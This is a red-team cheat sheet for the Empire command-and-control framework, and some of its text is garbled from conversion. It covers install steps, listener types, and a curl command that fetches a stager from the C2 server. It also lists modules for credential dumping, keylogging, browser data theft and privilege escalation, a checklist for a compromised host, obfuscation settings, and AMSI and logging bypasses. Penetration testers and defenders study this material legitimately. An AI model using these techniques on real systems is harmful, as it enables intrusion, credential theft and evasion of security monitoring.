Empire C2 Cheat Sheet

Quick Start

From the directory you want to install Empire in:

- 1. git clone --recursive https://github.com/BC-SECURITY/Empire
- 2. ./ps-empire install -y
- 3. ./ps-empire server --reset
- 4. ./ps-empire server

Listener Quick Reference

Basic listener that supports TLS certs http Uses an Outlook COM object for data transfer http_com http_hop Used for external re-directors For agents that callback to a different C2 server http_foreign http_malleable Malleable HTTP listener (Cobalt Strike profiles) dbxDropbox listener onedrive Onedrive listener port_forward_pivot Used for internal network pivoting (chains agents) Used for internal network pivoting (chains agents) smb

Key File Locations

Install.sh .\Empire\Setup

Server Config .\Empire\empire\server\config.yaml
Agent Downloads & logs .\Empire\empire\server\downloads\<agent>

C# Reference Projects .\Empire\...\csharp\Covenant\Data\ReferenceSourceL...

 $Plugins \qquad \qquad . \backslash \texttt{Empire} \backslash \ldots \backslash Plugins$

TLS Cert .\Empire\empire\server\data

Curl Down a Payload

After you have built a stager, you can curl it from the Empire endpoint. This can be useful for use with other tools.

curl http://<server address>/stager/download

Essential Modules

Situational Awareness	Needed Option	
csharp_ghostpack_seatbelt	-group=all	
csharp_moriarty_moraiarty	-debug	
$bof_siutational_awareness_net group list members$	Domain Admins	

Collection

csharp_ghostpack_rubeus	dump
$bof_situational_awareness_list_firewall_rules$	-
bof_nanodump	<dump filename=""></dump>
powershell_privesc_getsystem	<pipe name=""></pipe>
powershell_collection_sauroneye	<keywords></keywords>
powershell_collection_sharpchromium	all
powershell_collection_keylogger	-
powershell_collection_screenshot	-

Elevation

powershell_privesc_bypassiac_fodhelper	stener>
powershell_privesc_getsystem	-

Code Execution

powershell_management_psinject	<pre><pre>cess id></pre></pre>
$powershell_management_spawn as$	<credentials></credentials>
powershell_code_execution_invoke_shellcode	<pre><pre>cess id> <.bin></pre></pre>
csharp_assembly_assembly	<file></file>

Comms Profile Structure

USER AGENT STRING

/admin/get.php,/news.php,/login/process.php Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko HELLO WORLD

END POINTS TO CYCLE THROUGH

ADDITIONAL HEADERS SEPARATED BY

Useful Resources

Empire Docs

AMSI Bypasses

CrackMapExec

Living Off The Land Binaries, Scripts and Libraries (LOLBAS)

Red Team Infrastructure Wiki

Red Team Notes

Malleable C2 profiles

bc-security.gitbook.io/empire-wiki/

github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

github.com/byt3bl33d3r/CrackMapExec

lolbas-project.github.io/

github.com/bluscreenofjeff/Red-Team-Infrastructure-Wiki

ired.team

github.com/BC-SECURITY/Malleable-C2-Profiles

Run Install as Root

By default Empire does not allow for the install.sh script to be ran as root. This is to provide better security. However, some VPS images have everything run as root. To remove this restriction, remove the following lines from install.sh:

else

echo "This script should not be run as root.' exit ${\bf 1}$

Landing Checklist

- 1. Check the info under View to get basic info on the exploited box
- 2. Identify context of the process you are in
- 3. Run ps to gather running processes
- 4. Look through the file system of the local system, including the user's home dir, Desktop, Downloads, and Program Files
- 5. Run a module like Seatbelt or your preferred awareness module to check for Anti-Virus and threat-hunting tools
- 6. Identify user's local membership with awareness tool such as who ami.x64.o $\,$

Invoke-Obfuscation

Token obfuscation is the only one that persists into ScriptBlock analysis, so only use that. Below are the options for token obfuscation.

STRING	1	breaks strings up with concatenation	
	2	Reorders the string after concating	
COMMAND	1	adds ticks to commands	
	2	Splat command and concat text	
	3	Splat command and reorder text	
ARGUMENT	1	Randomize case of arg	
	2	add ticks to arg text	
	3	Break up an argument with concatenation	
	4	Reorder arg text	
MEMBER	1	Randomize case	
	2	add ticks to member text	
	3	Break up member with concatenation	
	4	Reorder member text	
VARIABLE	1	Randomize case & use {} to add ticks	
TYPE	Th	These will cause a warning to be produced in logs	
	1	Type cast and concat	
	2	Type cast and reorder text	
COMMENT	1	Strips comments from script	
WHITESPACE	1	Add random whitespace. This is very effective	
ALL	1	Executes all obfuscation options in random order	

Example Command in Empire:

 $\label{token-command-1} Token \setminus command \setminus 1, Token \setminus string \setminus 1, 2, Token \setminus whitespace \setminus 1$

Bypasses

mattifestation	AMSI Reflection bypass for current session
liberman	AMSIscan buffer patching method
rastamouse	AMSIscan buffer patching method
etw	Disables ScriptBlock Logging
scriptblocklogbypass	Reflectively disables ScriptBlock Logging